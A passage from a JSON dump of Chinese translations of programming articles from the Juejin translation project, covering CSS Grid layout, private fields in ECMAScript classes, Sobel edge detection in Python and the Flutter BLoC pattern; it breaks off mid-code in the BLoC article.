指定要跨越的列数或行数。\n\n我们让主体区域的第二个子项跨越四列、两行，并让其从第二列和第一行（也是它的默认位置）开始放置：\n\n```\nmain article:nth-child(2) {\n  grid-column: 2/span 4;\n  grid-row: 1/span 2;\n}\n```\n\n这是结果的屏幕截图：\n\n![Second child spanning four columns and two rows](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534469657four-col-two-row-1024x666.png)\n\n## 使用网格对齐工具\n\n我们想让头部，侧边栏和页脚中的文本以及 `<article>` 元素内的数字居中。\n\nCSS 网格提供了六个属性 `justify-items`、`align-items`、`justify-content`、`align-content`、`justify-self` 和 `align-self`，可用于对齐和分散网格项。它们实际上是 [CSS 盒对齐模型](https://www.w3.org/TR/css-align-3/)的一部分。\n\n在头部内，侧边栏，文章和页脚选择器内添加以下内容：\n\n```\ndisplay: grid;\nalign-items: center;\njustify-items: center;\n```\n\n* `justify-items` 用于沿行轴或在水平方向上对齐网格项。\n* `align-items` 沿着列轴或在垂直方向上对齐网格项。它们都可以使用 `start`、`end`、`center` 和 `stretch`。\n\n这是居中元素后的屏幕截图：\n\n![Numbers are now centered horizontally and vertically in each cell](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534469985centering-1024x671.png)\n\n## 重构小型设备中的网格布局\n\n我们的演示布局适用于中型和大型屏幕，但可能不是在小屏幕设备中构建页面的最佳方式。使用 CSS 网格，我们可以轻松地更改此布局结构，使其在小型设备中平滑过渡 —— 通过重新定义网格区域及使用媒体查询。\n\n这是在添加代码重构小型设备上的布局之前的屏幕截图：\n\n![The initial mobile layout](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534470255mobile1.png)\n\n现在，添加以下 CSS 代码：\n\n```\n@media all and (max-width: 575px) {\n  body {\n    grid-template-rows: 6rem  1fr 5.5rem  5.5rem;  \n    grid-template-columns: 1fr;\n    grid-template-areas:\n      \"header\"\n      \"content\"\n      \"sidebar\"\n      \"footer\";\n    }\n}\n```\n\n在宽度 `<= 575px` 的设备上我们使用宽度分别为 `6rem`、`1fr`、`5.5rem` 和 `5.5rem` 的四行，以及占满所有可用空间的一列。我们还重新定义了网格区域，让侧边栏在小型设备上处于主体内容区域下面的第三行：\n\n![The developing mobile layout](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534470445mobile2.png)\n\n请注意，侧边栏的宽度并未占满可用宽度。这是由降级代码引起的，所以我们需要做的是在支持网格的浏览器上用 `width: auto;` 覆盖掉 `width: 6.3rem;`：\n\n```\n@supports (display: grid) {\n  main, aside {\n    width: auto;\n  }\n}\n```\n\n这是最终结果的屏幕截图：\n\n![The final mobile layout](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534470564mobile3.png)\n\n你可以在本文开头附近的 pen 中找到最终代码，也可以直接[访问此 pen](https://codepen.io/SitePoint/pen/OweYNp)。\n\n## 结论\n\n在本教程中，我们使用 CSS 网格创建了一个响应式演示布局。我们已经演示了如何针对旧版浏览器使用降级代码，逐步添加 CSS 网格，在小型设备中重构布局以及使用对齐属性居中元素。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ecmascript-classes-keeping-things-private.md",
    "content": "> * 原文地址：[ECMAScript Classes - Keeping Things Private](https://devinduct.com/blogpost/23/ecmascript-classes-keeping-things-private)\n> * 原文作者：[Milos Protic](https://devinduct.com/blogpost/23/ecmascript-classes-keeping-things-private)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ecmascript-classes-keeping-things-private.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ecmascript-classes-keeping-things-private.md)\n> * 译者：[ZavierTang](https://github.com/ZavierTang)\n> * 校对者：[Xuyuey](https://github.com/Xuyuey), [lgh757079506](https://github.com/lgh757079506)\n\n# ECMAScript 类 —— 定义私有属性\n\n## 介绍\n\n像往常一样，我们将从一些理论知识开始介绍。ES 的类是 JavaScript 中新的语法糖。它提供了一种简洁的编写方法，并且实现了与我们使用原型链相同的功能。唯一的区别是，它看起来更像是面向对象编程了，而且，如果你是 C# 或 Java 开发者，感觉会更友好。有人可能会说它们不适合 JavaScript，但对我来说，使用类或 ES5 的原型都没有问题。\n\n它提供了一种更简单的方式来封装和定义多个属性，这些属性可以在具体的实例对象上被访问到。事实上，我们可以通过类的方式编写更少的代码来实现更多的功能。有了类，JavaScript 正朝着面向对象的方式发展，通过使用类，我们可以实现面向对象编程，而不是函数式编程。不要误解我的意思，函数式编程并不是一件坏事，实际上，这是一件好事，它也有一些优于类的好处，但这应该是另一篇文章要讨论的主题。\n\n举一个实际的例子，每当我们想在应用程序中定义来自真实世界的事物时，我们都会使用一个类来描述它。例如，building、car、motorcycle……它们代表一类真实的事物。\n\n## 可访问范围\n\n在后端语言中，我们有访问修饰符或可见性级别，如 `public`、`private`、`protected`、`internal`、`package`……不幸的是，JavaScript 仅以自己的方式支持前两种方法。它不通过编写访问修饰符（`public` 或 `private`）来声明字段，JavaScript 在某种程度上假定所有的区域都是公共的，这就是我写这篇文章的原因。\n\n注意，我们有一种方法可以在类上声明私有和公共的字段，但是这些字段声明方法还是实验性的特性，因此还不能安全的使用它。\n\n```js\nclass SimCard {\n  number; // public field\n  type; // public field\n  #pinCode; // private field\n}\n```\n\n> **如果没有像 Babel 这样的编译器，就不支持使用上面这样的字段声明方式。**\n\n## 定义私有属性 —— 封装\n\n封装是编程中的一个术语，比如它用来描述某个变量是受保护的或对外部是不可见的。为了保持数据私有并且只对内部可见，我们需要**封装**它。在本文中，我们将使用几种不同的方法来封装私有数据。让我们开始吧。\n\n### 1. 习惯约定\n\n这种方式只是假定数据或变量的 `private` 状态。实际上，它们是公开的，外部可以访问。我了解到的两种最常见的定义私有状态的习惯约定是 `$` 和 `_` 前缀。如果某个变量以这些符号作为前缀（通常在整个应用中会规定使用某一个)，那么该变量应该作为非公共属性来处理。\n\n```js\nclass SimCard {\n  constructor(number, type, pinCode) {\n    this.number = number;\n    this.type = type;\n    \n    // 这个属性被定义为私有的\n    this._pinCode = pinCode;\n  }\n}\n\nconst card = new SimCard(\"444-555-666\", \"Micro SIM\", 1515);\n\n// 这里，我们将访问私有的 _pinCode 属性，这并不是我们预期的行为\nconsole.log(card._pinCode); // 输出 1515\n```\n\n### 2. 闭包\n\n闭包对于控制变量的可访问性非常有用。它被 JavaScript 开发者使用了几十年。这种方法为我们提供了真正的私有性，数据对外部来说是无法访问的，它只能被内部访问。这里我们要做的是在类构造函数中创建局部变量，并用闭包捕获它们。要实现这个效果，方法必须定义在实例上，而不是在原型链上。\n\n```js\nclass SimCard {\n  constructor(number, type, pinCode) {\n    this.number = number;\n    this.type = type;\n\n    let _pinCode = pinCode;\n    // 这个属性被定义为私有的\n    this.getPinCode = () => {\n        return _pinCode;\n    };\n  }\n}\n\nconst card = new SimCard(\"444-555-666\", \"Nano SIM\", 1515);\nconsole.log(card._pinCode); // 输出 undefined\nconsole.log(card.getPinCode()); // 输出 1515\n```\n\n### 3. Symbols 和 Getters\n\nSymbol 是 JavaScript 中一种新的基本数据类型。它是在 ECMAScript 6 中引入的。`Symbol()` 返回的每个值都是唯一的，这种类型的主要目的是用作对象属性的标识符。\n\n由于我们的意图是在类定义的外部创建 Symbol 变量，但也不是全局的，所以引入了模块。这样，我们能够在模块内部创建私有字段，将它们定义到类的构造函数中，并通过 `getter` 返回 Symbol 变量对应的值。注意，我们可以使用在原型链上创建的方法来代替 `getter`。我选择了 `getter` 方法，因为这样我们就不需要调用函数来获取值了。\n\n```js\nconst SimCard = (() => {\n  const _pinCode = Symbol('PinCode');\n\n  class SimCard {\n    constructor(number, type, pinCode) {\n      this.number = number;\n      this.type = type;\n      this[_pinCode] = pinCode;\n    }\n\n    get pinCode() {\n       return this[_pinCode];\n    }\n  }\n  \n  return SimCard;\n})();\n\nconst card = new SimCard(\"444-555-666\", \"Nano SIM\", 1515);\nconsole.log(card._pinCode); // 输出 undefined\nconsole.log(card.pinCode); // 输出 1515\n```\n\n这里需要指出的一点是 `Object.getOwnPropertySymbols` 方法，此方法可用于访问我们用来保存私有属性的 Symbol 变量。上面的类中的 `_pinCode` 值就可以这样被获取到:\n\n```js\nconst card = new SimCard(\"444-555-666\", \"Nano SIM\", 1515);\nconsole.log(card[Object.getOwnPropertySymbols(card)[0]]); // 输出 1515\n\n```\n\n### 4. Map 和 Getters\n\nECMAScript 6 还引入了 `Map` 和 `WeakMap`。它们以键值对的形式存储数据，这使得它们非常适合存储我们的私有变量。在我们的示例中，`Map` 被定义在模块的内部，并且在类的构造函数中设置每个私有属性的键值。这个值被类的 `getter` 引用，同样，我们不需要调用函数来获取值。另外，请注意，考虑到 `Map` 本身的结构，我们不需要为每个私有属性定义 `Map` 映射。\n\n```js\nconst SimCard = (() => {\n  const _privates = new Map();\n\n  class SimCard {\n    constructor(number, type, pinCode, pukCode) {\n      this.number = number;\n      this.type = type;\n      _privates.set('pinCode', pinCode);\n      _privates.set('pukCode', pukCode);\n    }\n\n    get pinCode() {\n       return _privates.get('pinCode');\n    }\n\n    get pukCode() {\n       return _privates.get('pukCode');\n    }\n  }\n  \n  return SimCard;\n})();\n\nconst card = new SimCard(\"444-555-666\", \"Nano SIM\", 1515, 45874589);\nconsole.log(card.pinCode); // 输出 1515\nconsole.log(card.pukCode); // 输出 45874589\nconsole.log(card._privates); // 输出 undefined\n```\n\n注意，在这种方法中，我们也可以使用普通对象而不是 `Map`，并在构造函数中动态地为其分配值。\n\n## 总结和进一步阅读\n\n希望这些示例对你会有帮助，并且能够用到你的工作中。如果是的话，并且你也喜欢这篇文章，那欢迎分享。这里我只实现了 Twitter 的分享按钮，（哈哈）但我也正在实现其他的方式。\n\n如果要进一步阅读，我推荐一篇文章：[JavaScript Clean Code - Best Practices](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-clean-code-best-practices.md)\n\n感谢你的阅读，下一篇文章再见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/edge-detection-in-python.md",
    "content": "> * 原文地址：[Edge Detection in Python](https://towardsdatascience.com/edge-detection-in-python-a3c263a13e03)\n> * 原文作者：[Ritvik Kharkar](https://medium.com/@ritvikmathematics)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/edge-detection-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/edge-detection-in-python.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[PingHGao](https://github.com/PingHGao), [Amberlin1970](https://github.com/Amberlin1970)\n\n# 使用 Python 进行边缘检测\n\n![](https://cdn-images-1.medium.com/max/2298/1*I_GeYmEhSEBWTbf_kgzrgQ.png)\n\n上季度，我在学校辅助一门 Python 课程的教学，在此过程中学到了很多图像处理的知识。我希望通过本文分享一些关于边缘检测的知识，包括边缘检测的**理论**以及如何使用 Python **实现**边缘检测。\n\n---\n\n### 为何检测边缘？\n\n我们首先应该了解的问题是：**“为什么要费尽心思去做边缘检测？”**除了它的效果很酷外，为什么边缘检测还是一种实用的技术？为了更好地解答这个问题，请仔细思考并对比下面的风车图片和它的“仅含边缘的图”：\n\n![Image of pinwheel (left) and its edges (right)](https://cdn-images-1.medium.com/max/2298/1*I_GeYmEhSEBWTbf_kgzrgQ.png)\n\n可以看到，左边的原始图像有着各种各样的色彩、阴影，而右边的“仅含边缘的图”是黑白的。如果有人问，哪一张图片需要更多的存储空间，你肯定会告诉他原始图像会占用更多空间。这就是边缘检测的意义：通过对图片进行边缘检测，丢弃大多数的细节，从而得到“更轻量化”的图片。\n\n因此，在无须保存图像的所有复杂细节，而**“只关心图像的整体形状”**的情况下，边缘检测会非常有用。\n\n---\n\n### 如何进行边缘检测 —— 数学\n\n在讨论代码实现前，让我们先快速浏览一下边缘检测背后的数学原理。作为人类，我们非常擅长识别图像中的“边”，那如何让计算机做到同样的事呢？\n\n首先，假设有一张很简单的图片，在白色背景上有一个黑色的正方形：\n\n![Our working image](https://cdn-images-1.medium.com/max/2000/1*jVZqFGP3peOrhZ6rnhz0og.png)\n\n在这个例子中，由于处理的是黑白图片，因此我们可以考虑将图中的每个像素的值都用 **0（黑色）** 或 **1（白色）**来表示。除了黑白图片，同样的理论也完全适用于彩色图像。\n\n现在，我们需要判断上图中绿色高亮的像素是不是这个图像边缘的一部分。作为人类，我们当然可以认出它**是**图像的边缘；但如何让计算机利用相邻的像素来得到同样的结果呢？\n\n我们以绿色高亮的像素为中心，设定一个 3 x 3 像素大小的小框，在图中以红色示意。接着，对这个小方框“应用”一个过滤器（filter）：\n\n![对局部像素框应用纵向过滤器](https://cdn-images-1.medium.com/max/3124/1*61U9atgGnhaPinVUHKe1rA.png)\n\n上图展示了我们将要“应用”的过滤器。乍一看上去很神秘，让我们仔细研究它做的事情：当我们说**“将过滤器应用于一小块局部像素块”**时，具体是指红色框中的每个像素与过滤器中与之位置对应的像素进行相乘。因此，红色框中左上角像素值为 1，而过滤器中左上角像素值为 -1，它们相乘得到 -1，这也就是结果图中左上角像素显示的值。结果图中的每个像素都是用这种方式得到的。\n\n下一步是对过滤结果中的所有像素值求和，得到 -4。请注意，-4 其实是我们应用这个过滤器可获得的“最小”值（因为原始图片中的像素值只能在 0 到 1 之间）。因此，当获得 -4 这个最小值的时候，我们就能知道，对应的像素点是图像中正方形**顶部竖直方向边缘**的一部分。\n\n为了更好地掌握这种变换，我们可以看看将此过滤器应用于图中正方形底边上的一个像素会发生什么：\n\n![](https://cdn-images-1.medium.com/max/3106/1*wIm2uGrxSjYfscQ8ACap9Q.png)\n\n可以看到，我们得到了与前文相似的结果，相加之后得到的结果是 4，这是应用此过滤器能得到的**最大值**。因此，由于我们得到了 4 这一最大值，可以知道这个像素是图像中正方形**底部竖直方向边缘**的一部分。\n\n为了把这些值映射到 0-1 的范围内，我们可以简单地给其加上 4 再除以 8，这样就能把 -4 映射成 0（**黑色**），把 4 映射成 1（**白色**）。因此，我们将这种过滤器称为**纵向 Sobel 过滤器**，可以用它轻松检测图像中垂直方向的边缘。\n\n那如何检测水平方向的边缘呢？只需简单地将**纵向过滤器**进行转置（按照其数值矩阵的对角线进行翻转）就能得到一个新的过滤器，可以用于检测水平方向的边缘。\n\n如果需要同时检测水平方向、垂直方向以及介于两者之间的边缘，我们可以把**纵向过滤器得分和横向过滤器得分进行结合**，这个步骤在后面的代码中将有所体现。\n\n希望上文已经讲清楚了这些理论！下面看一看代码是如何实现的。\n\n---\n\n### 如何进行边缘检测 —— 代码\n\n首先进行一些设置：\n\n```python\n%matplotlib inline\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 定义纵向过滤器\nvertical_filter = [[-1,-2,-1], [0,0,0], [1,2,1]]\n\n# 定义横向过滤器\nhorizontal_filter = [[-1,0,1], [-2,0,2], [-1,0,1]]\n\n# 读取纸风车的示例图片“pinwheel.jpg”\nimg = plt.imread('pinwheel.jpg')\n\n# 得到图片的维数\nn,m,d = img.shape\n\n# 初始化边缘图像\nedges_img = img.copy()\n```\n\n* 你可以把代码中的“pinwheel.jpg”替换成其它你想要找出边缘的图片文件！需要确保此文件和代码在同一工作目录中。\n\n接着编写边缘检测代码本身：\n\n```python\n%matplotlib inline\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 定义纵向过滤器\nvertical_filter = [[-1,-2,-1], [0,0,0], [1,2,1]]\n\n# 定义横向过滤器\nhorizontal_filter = [[-1,0,1], [-2,0,2], [-1,0,1]]\n\n# 读取纸风车的示例图片“pinwheel.jpg”\nimg = plt.imread('pinwheel.jpg')\n\n# 得到图片的维数\nn,m,d = img.shape\n\n# 初始化边缘图像\nedges_img = img.copy()\n\n# 循环遍历图片的全部像素\nfor row in range(3, n-2):\n    for col in range(3, m-2):\n        \n        # 在当前位置创建一个 3x3 的小方框\n        local_pixels = img[row-1:row+2, col-1:col+2, 0]\n        \n        # 应用纵向过滤器\n        vertical_transformed_pixels = vertical_filter*local_pixels\n        # 计算纵向边缘得分\n        vertical_score = vertical_transformed_pixels.sum()/4\n        \n        # 应用横向过滤器\n        horizontal_transformed_pixels = horizontal_filter*local_pixels\n        # 计算横向边缘得分\n        horizontal_score = horizontal_transformed_pixels.sum()/4\n        \n        # 将纵向得分与横向得分结合，得到此像素总的边缘得分\n        edge_score = (vertical_score**2 + horizontal_score**2)**.5\n        \n        # 将边缘得分插入边缘图像中\n        edges_img[row, col] = [edge_score]*3\n\n# 对边缘图像中的得分值归一化，防止得分超出 0-1 的范围\nedges_img = edges_img/edges_img.max()\n```\n\n有几点需要注意：\n\n* 在图片的边界像素上，我们无法创建完整的 3 x 3 小方框，因此在图片的四周会有一个细边框。\n* 既然是同时检测水平方向和垂直方向的边缘，我们可以直接将原始的纵向得分与横向得分分别除以 4（而不像前文描述的分别加 4 再除以 8）。这个改动无伤大雅，反而可以更好地突出图像的边缘。\n* 将纵向得分与横向得分结合起来时，有可能会导致最终的边缘得分超出 0-1 的范围，因此最后还需要重新对最终得分进行标准化。\n\n在更复杂的图片上运行上述代码：\n\n![](https://cdn-images-1.medium.com/max/3032/1*QnVu-wTPcpcHJ1Gixu-k2g.png)\n\n得到边缘检测的结果：\n\n![](https://cdn-images-1.medium.com/max/3032/1*v4JxLC5XMqlO9kEgjwsV9Q.jpeg)\n\n---\n\n以上就是本文的全部内容了！希望你了解到了一点新知识，并继续关注更多数据科学方面的文章〜\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/effective-bloc-pattern.md",
    "content": "> * 原文地址：[Effective BLoC pattern](https://medium.com/flutterpub/effective-bloc-pattern-45c36d76d5fe)\n> * 原文作者：[Sagar Suri](https://medium.com/@sagarsuri56)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/effective-bloc-pattern.md](https://github.com/xitu/gold-miner/blob/master/TODO1/effective-bloc-pattern.md)\n> * 译者：[LucaslEliane](https://github.com/LucaslEliane)\n> * 校对者：[portandbridge](https://github.com/portandbridge)\n\n# 高效地使用 BLoC 模式\n\n朋友们，我有好长一段时间没有写过 flutter 相关的文章了。在完成了两篇关于 BLoC 模式的文章之后，我花了一些时间，分析了社区对于这种模式的使用情况，在回答了一些关于 BLoC 模式实现的一些问题之后，我发现大家对于 BLoC 模式存在很多疑惑。所以，我构思了一套方法，大家按照这一套方法来做，就可以正确地实现 BLoC 模式了，这会帮助开发人员在实现的时候避免犯下一些常见的错误。所以，我今天向大家介绍一下在使用 BLoC 模式时必须要遵循的 **8 个黄金点**。\n\n![](https://cdn-images-1.medium.com/max/3770/1*XUDik4jakpEcQ6ZVm5jo3A@2x.png)\n\n## 前提\n\n我心目中的读者，应该知道 BLoC 模式是什么，或者使用模式创建了一个应用（至少做过 `CTRL + C` 和 `CTRL + V`）。如果你是第一次听到 **BLoC** 这个词，那么下面三篇文章可以很好地帮助你理解这个模式。\n\n1. 使用 BLoC 模式构建 Flutter 项目[第一部分](https://medium.com/flutterpub/architecting-your-flutter-project-bd04e144a8f1)和[第二部分](https://medium.com/flutterpub/architect-your-flutter-project-using-bloc-pattern-part-2-d8dd1eca9ba5)\n\n2. [当 Firebase 遇到了 BLoC 模式](https://medium.com/flutterpub/when-firebase-meets-bloc-pattern-fb5c405597e0)\n\n## 和 BLoC 相遇的故事\n\n我知道，BLoC 模式是一个很难去理解和实现的模式。我看过了很多开发人员的帖子，询问 **哪里是学习 BLoC 模式的最佳资源呢**？读完了不同的帖子和评论之后，我觉得大家在理解这个问题的阻碍有以下几点。\n\n1. 响应式地思考。\n\n2. 努力了解需要创建多少 BLoC 文件。\n\n3. 害怕这个模式会造成代码复杂度的提升。\n\n4. 不知道 stream 在什么时候会被处理掉。\n\n5. 什么是 BLoC 模式的完整形式？（这是一个业务逻辑组件）\n\n6. 更多其他的原因……\n\n但是今天我要列出一些最为重要的点，这些点可以帮助你更加自信及有效地实现 BLoC 模式。现在，就让我们赶快看看有哪些很棒的点。\n\n## 每一个页面都有其自己的 BLoC\n\n这是需要记住的最重要的一个点。每当你创建了一个新的页面，例如登录页，注册页，个人资料页等涉及到数据处理的页面的时候，你必须要为其 **创建一个新的 BLoC**。不要将全局 BLoC 用于处理应用中的所有页面。你可能会认为，如果我们有一个全局的 BLoC，就可以轻松地处理跨页面的数据了。这很不好，因为你的库应当将这些公共数据提供给 BLoC。BLoC 仅仅是获取数据并且将其注入到页面中，来向用户展示。\n\n![左图是正确的使用模式](https://cdn-images-1.medium.com/max/2000/1*0z3wjE8m89iI4ppbeNe2Jg.png)\n\n## 每个 BLoC 必须要有一个 dispose() 方法\n\n这一点比较直接。你创建的每个 BLoC 都应该有一个 `dispose()` 方法。这个方法是你清理或者关闭你创建的所有 stream 的位置。下面是一个 `dispose()` 的简单的例子。\n\n```dart\nclass MoviesBloc {\n  final _repository = Repository();\n  final _moviesFetcher = PublishSubject<ItemModel>();\n\n  Observable<ItemModel> get allMovies => _moviesFetcher.stream;\n\n  fetchAllMovies() async {\n    ItemModel itemModel = await _repository.fetchAllMovies();\n    _moviesFetcher.sink.add(itemModel);\n  }\n\n  dispose() {\n    _moviesFetcher.close();\n  }\n}\n```\n\n## 不要在 BLoC 中使用 StatelessWidget\n\n每当你想要创建一个传递数据到 BLoC 或者从 BLoC 中获取数据的页面的时候，**请使用 `StatefulWidget`** 。使用 `StatefulWidget` 相比于使用 `StatelessWidget` 的最大优点在于 `StatefulWidget` 中的生命周期方法。在文章的后面，我们会讨论在使用 BLoC 模式时需要覆盖的两个最重要的方法。`StatelessWidget` 很适合制作页面的小的静态部分，例如显示图像或者是硬编码的文本。如果你想要看看怎么用 `StatelessWidget` 来实现 BLoC 模式，请看上面推荐的文章的 **第一部分**，而在**第二部分**中，我讲述了自己为什么要从 `StatelessWidget` 迁移到 `StatefulWidget`。\n\n## 重写 didChangeDependencies() 来初始化 BLoC\n\n如果你需要在初始化的时候需要一个 `context` 来初始化 BLoC 对象，那么这个方法就是在 `StatefulWidget` 中需要重写的最重要的方法。你可以将其视为初始化方法（最好仅用于 BLoC 的初始化）。你或许会说，我们有 `initState()` 方法，那么为什么我们要使用 `didChangeDependencies()` 方法。文档里面清楚地提到，从 `didChangeDependencies()` 调用 [BuildContext.inheritFromWidgetOfExactType](https://docs.flutter.io/flutter/widgets/BuildContext/inheritFromWidgetOfExactType.html) 是安全的。下面是使用这个方法的一个简单的例子：\n\n```dart\n@override\n  void didChangeDependencies() {\n    bloc = MovieDetailBlocProvider.of(context);\n    bloc.fetchTrailersById(movieId);\n    super.didChangeDependencies();\n  }\n```\n\n## 重写 dispose() 方法来销毁 BLoC\n\n就和有一个初始化方法一样，我们还有一个方法，来处理掉我们在 BLoC 中创建的连接。`dispose()` 方法是调用与该页面相连的对应的 BLoC 的 `dispose()` 方法的最佳位置。每当你离开页面的时候，需要调用这个方法（实际上就是`StatefulWidget`被处理掉的时候）。以下是该方法的一个小例子：\n\n```dart\n@override\n  void dispose() {\n    bloc.dispose();\n    super.dispose();\n  }\n```\n\n## 只有需要处理复杂逻辑的时候，才使用 RxDart\n\n如果你之前使用过 BLoC 模式的话，那么你一定听说过 `[RxDart](https://github.com/ReactiveX/rxdart)` 库。这个库是 Google Dart 的响应式函数式编程库，它只是一个包装器，用来包装 Dart 提供的 `Stream` API。我建议你仅在需要处理，类似于链接多个网络请求这样的复杂逻辑时，才使用这个库。对于一些简单的实现，使用 Dart 语言提供的 `Stream` API 就足够了，因为这个 API 已经非常成熟了。下面我添加了一个 BLoC，它使用了 `Stream` API 而不是 `RxDart` 库，这样会让操作变得非常简单，我们不需要额外的库来实现同样的事情：\n\n```dart\nimport 'dart:async';\n\nclass Bloc {\n\n  //Our pizza house\n  final order = StreamController<String>();\n\n  //Our order office\n  Stream<String> get orderOffice => order.stream.transform(validateOrder);\n\n  //Pizza house menu and quantity\n  static final _pizzaList = {\n    \"Sushi\": 2,\n    \"Neapolitan\": 3,\n    \"California-style\": 4,\n    \"Marinara\": 2\n  };\n\n  //Different pizza images\n  static final _pizzaImages = {\n    \"Sushi\": \"http://pngimg.com/uploads/pizza/pizza_PNG44077.png\",\n    \"Neapolitan\": \"http://pngimg.com/uploads/pizza/pizza_PNG44078.png\",\n    \"California-style\": \"http://pngimg.com/uploads/pizza/pizza_PNG44081.png\",\n    \"Marinara\": \"http://pngimg.com/uploads/pizza/pizza_PNG44084.png\"\n  };\n\n\n  //Validate if pizza can be baked or not. This is John\n  final validateOrder =\n      StreamTransformer<String, String>.fromHandlers(handleData: (order, sink) {\n    if (_pizzaList[order] != null) {\n      //pizza is available\n      if (_pizzaList[order] != 0) {\n        //pizza can be delivered\n        sink.add(_pizzaImages[order]);\n        final quantity = _pizzaList[order];\n        _pizzaList[order] = quantity-1;\n      } else {\n        //out of stock\n        sink.addError(\"Out of stock\");\n      }\n    } else {\n      //pizza is not in the menu\n      sink.addError(\"Pizza not found\");\n    }\n  });\n\n  //This is Mia\n  void orderItem(String pizza) {\n    order.sink.add(pizza);\n  }\n}\n```\n\n## 使用 PublishSubject 代替 BehaviorSubject\n\n对于那些在 Flutter 项目中使用 `RxDart` 库的人来说，这一点会更加地明确。`BehaviorSubject` 是一个特殊的 `StreamController`，它会捕获到已经添加到 controller 的最新项，并且将其作为新的 listener 的第一个事件触发。即使你在 `BehaviorSubject` 上调用 `close()` 或者 `drain()`，它仍然会保留最后一项，并且在这个 listener 被订阅的时候触发。如果开发人员不了解这个功能，这有可能会变成一场噩梦。而 `PublishSubject` 不会存储最后一项，更加适合于大多数情况。在这个[项目](https://github.com/SAGARSURI/Goals)中，可以查看 `BehaviorSubject` 的功能。运行应用程序，并且跳转到 'Add Goal' 页面，在表单中输入详细信息，并且跳转回来。现在，再次访问 'Add Goal' 页面，你就会发现表单里已经预先填写了你之前输入的数据。如果你和我一样懒，那么可以看我下面附上的视频：\n\n[Goals App Demo](https://youtu.be/N7-C3o_O1jE)\n\n## 正确地使用 BLoC Providers\n\n在我说这一点之前，请看下面的代码片（第 9 行和第 10 行）。\n\n```dart\nimport 'package:flutter/material.dart';\nimport 'ui/login.dart';\nimport 'blocs/goals_bloc_provider.dart';\nimport 'blocs/login_bloc_provider.dart';\n\nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return LoginBlocProvider(\n      child: GoalsBlocProvider(\n        child: MaterialApp(\n          theme: ThemeData(\n            accentColor: Colors.black,\n            primaryColor: Colors.amber,\n          ),\n          home: Scaffold(\n            appBar: AppBar(\n              title: Text(\n                \"Goals\",\n                style: TextStyle(color: Colors.black),\n              ),\n              backgroundColor: Colors.amber,\n              elevation: 0.0,\n            ),\n            body: 